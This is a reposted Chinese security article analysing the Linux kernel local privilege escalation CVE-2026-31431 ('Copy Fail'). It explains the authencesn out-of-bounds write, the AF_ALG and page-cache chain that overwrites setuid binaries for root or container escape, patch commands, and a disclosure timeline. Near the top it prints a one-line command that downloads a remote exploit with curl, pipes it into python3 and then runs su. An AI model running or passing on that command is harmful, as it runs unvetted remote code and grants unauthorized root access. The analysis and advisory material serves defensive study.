2026-05-02 05:35:37 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 该文档披露了Linux内核高危漏洞CVE-2026-31431（CopyFail），该漏洞源于authencesn加密模板在解密过程中存在越界写入缺陷，结合AF_ALG用户态加密接口与页缓存机制，可导致本地提权或容器逃逸。文档详细分析了漏洞成因、利用链（通过篡改setuid二进制文件获取root权限）及影响范围（2017年后主流Linux发行版），并提供了各系统的修复命令。 综合评分： 87 文章分类： 漏洞分析,内核安全,容器逃逸,漏洞预警,应急响应

cover_image

核弹级别漏洞？CVE-2026-31431

原创

xx xx

02安全

2026年4月30日 19:20 湖南

在小说阅读器读本章

去阅读

免责声明

由于传播、利用本公众号02安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号02安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，会立即删除并致歉。

前言

2026 年 4 月 29 日，一个代号为 Copy Fail 的 Linux 内核本地提权漏洞被公开披露。该漏洞编号 CVE-2026-31431，CVSS 评分 7.8（High），影响 2017 年以来几乎所有主流 Linux 发行版

漏洞利用+修复

curl&nbsp;https://copy.fail/exp | python3 && su

修复方案

# Ubuntu / Debiansudo&nbsp;apt update &&&nbsp;sudo&nbsp;apt upgrade -y linux-image-$(uname&nbsp;-r)
# RHEL / CentOSsudo&nbsp;dnf update kernel -y
# Amazon Linuxsudo&nbsp;dnf update kernel -y
# SUSEsudo&nbsp;zypper update kernel-default

漏洞为什么会发生？

#

authencesn 是内核加密子系统中为 IPsec 扩展序列号（ESN） 提供支持的 AEAD（Authenticated Encryption with Associated Data）模板。它在底层 AEAD 算法（如 hmac(sha256) + cbc(aes)）之上增加了序列号处理逻辑。

在解密路径中，authencesn 需要对序列号字节进行重排操作，核心代码如下

// crypto_authenc_esn_decrypt() 中的关键操作scatterwalk_map_and_copy(tmp, dst,&nbsp;0,&nbsp;8,&nbsp;0); &nbsp; &nbsp; &nbsp;&nbsp;// 读 AAD 前 8 字节scatterwalk_map_and_copy(tmp, dst,&nbsp;4,&nbsp;4,&nbsp;1); &nbsp; &nbsp; &nbsp; &nbsp;// 写 4 字节到 offset 4scatterwalk_map_and_copy(tmp +&nbsp;1, dst, assoclen + cryptlen,&nbsp;4,&nbsp;1); &nbsp;// ⚠️ 越界写

第三行 scatterwalk_map_and_copy 在 assoclen + cryptlen 偏移处写入 4 字节，这个位置落在合法输出区域之外。

AF_ALG —— 用户态加密接口

AF_ALG 是 Linux 提供的用户态加密 socket 接口，允许非特权用户访问内核加密算法。通过 sendmsg() 发送数据、splice() 零拷贝传输、recv() 触发加解密操作

页缓存（Page Cache）

Linux 使用页缓存加速文件 I/O。当通过 splice() 将文件数据传入 AF_ALG socket 时，内核直接引用文件的**页缓存页面**，而非拷贝一份副本。这意味着对该内存区域的写入会**立即全局可见**——所有进程（包括容器）读取该文件时都会看到被修改后的内容。

Copy Fail 并非单一代码缺陷，而是三个独立的、各自合理的代码变更在近十年后交汇产生的安全问题

2011&nbsp; ── &nbsp;authencesn 模板引入内核（ESN 序列号重排逻辑）&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │2015&nbsp; ── &nbsp;AF_ALG 添加 AEAD 支持（用户态可访问 authencesn）&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │2017&nbsp; ── &nbsp;algif_aead 引入&nbsp;in-place 优化（commit&nbsp;72548b093ee3）&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp;req->src&nbsp;=&nbsp;req->dst（共享同一 scatterlist）&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ▼&nbsp; &nbsp; &nbsp;┌─────────────────────────────────────────┐&nbsp; &nbsp; &nbsp;│ &nbsp;三者交汇：越界写入命中页缓存页面 &nbsp; &nbsp; &nbsp; &nbsp;│&nbsp; &nbsp; &nbsp;│ &nbsp;漏洞自&nbsp;2017&nbsp;年起静默存在近&nbsp;10&nbsp;年 &nbsp; &nbsp; &nbsp; &nbsp;│

2017 年的 in-place 优化是关键转折点。这次优化让 req->src 和 req->dst 指向同一个 scatterlist，而该 scatterlist 通过 sg\_chain() 链接了文件的页缓存页面。当 authencesn 在 assoclen + cryptlen 处执行那个 4 字节写入时，它越过了 RX 缓冲区边界，直接写入了被链入的页缓存页面

整个利用链分为四步：

#

用户态 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 内核态 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;页缓存&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; │ &nbsp;socket(AF_ALG) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; │──────────────────────────────►│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; │ &nbsp;sendmsg(恶意AAD) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; │──────────────────────────────►│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; │ &nbsp;splice(/usr/bin/su) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; 引用页缓存页面 &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; │──────────────────────────────►│─────────────────────────►│&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; │ &nbsp;recv() 触发解密 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; │──────────────────────────────►│ &nbsp;scatterwalk 越界写入 &nbsp; &nbsp; &nbsp;│&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │─────────────────────────►│ ←&nbsp;4字节被覆写&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; │ &nbsp;(重复多次拼接 shellcode) &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; │ &nbsp;execve("/usr/bin/su") &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;加载被篡改的页缓存 &nbsp; &nbsp; &nbsp; &nbsp;│&nbsp; │──────────────────────────────►│◄─────────────────────────│&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; │ &nbsp;← root shell &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

影响

#

Kubernetes 容器逃逸：页缓存在宿主机全局共享，不受容器命名空间隔离。被入侵的容器可以通过篡改宿主机上的 setuid 二进制实现逃逸。
攻击链组合：与 Web RCE、SSH 爆破等远程漏洞组合后，可将远程代码执行提升为 root 权限。

时间线

|&nbsp;日期&nbsp;|&nbsp;事件&nbsp;||------|------||&nbsp;2017&nbsp;|&nbsp;algif_aead&nbsp;in-place 优化合入内核（commit&nbsp;72548b093ee3），漏洞引入&nbsp;||&nbsp;2026-03-23&nbsp;|&nbsp;Taeyang Lee 向 Linux 内核安全团队报告漏洞&nbsp;||&nbsp;2026-03-25&nbsp;|&nbsp;补丁提出并完成审查&nbsp;||&nbsp;2026-04-01&nbsp;|&nbsp;补丁合入主线内核&nbsp;||&nbsp;2026-04-22&nbsp;|&nbsp;CVE-2026-31431&nbsp;编号分配&nbsp;||&nbsp;2026-04-29&nbsp;|&nbsp;漏洞公开披露&nbsp;|

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：02安全 xx xx《核弹级别漏洞？CVE-2026-31431》